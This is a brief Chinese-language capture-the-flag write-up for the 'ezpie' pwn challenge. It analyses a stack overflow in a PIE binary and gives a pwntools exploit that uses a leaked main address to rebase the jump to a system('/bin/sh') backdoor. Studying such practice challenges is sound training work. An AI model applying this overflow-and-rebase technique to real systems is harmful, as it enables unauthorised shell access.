Problem: [NISACTF 2022]ezpie
Pwn
#栈溢出 #PIE保护 #ret2text
解题步骤
查看文件基本信息
file pwn checksec pwn ./pwn

32位ELF PIE NX Nocanary 有system@plt
运行程序给出main函数地址
(PIE 下需要先泄漏地址计算基址)
分析vuln函数
objdump -d pwn | grep -A 30 "vuln"

sub 0x28 分配40字节空间
push 0x50 %eax 0 读取最多80字节内容
存在栈溢出
分析后门函数
objdump -d pwn | grep -A 10 "shell"


push /bin/sh字符串
call system函数调用
EXP
main 0x770
shell 0x80f
溢出偏移量 4 + 0x28 = 44
from pwn import * r = remote('node5.anna.nssctf.cn', 21149) r.recvuntil('OHHH!,give you a gift!\n') r.sendlineafter('Input:', b'A'*44 + p32(int(r.recvline(),16) - 0x770 + 0x80f)) r.interactive()
获取shell 得到flag

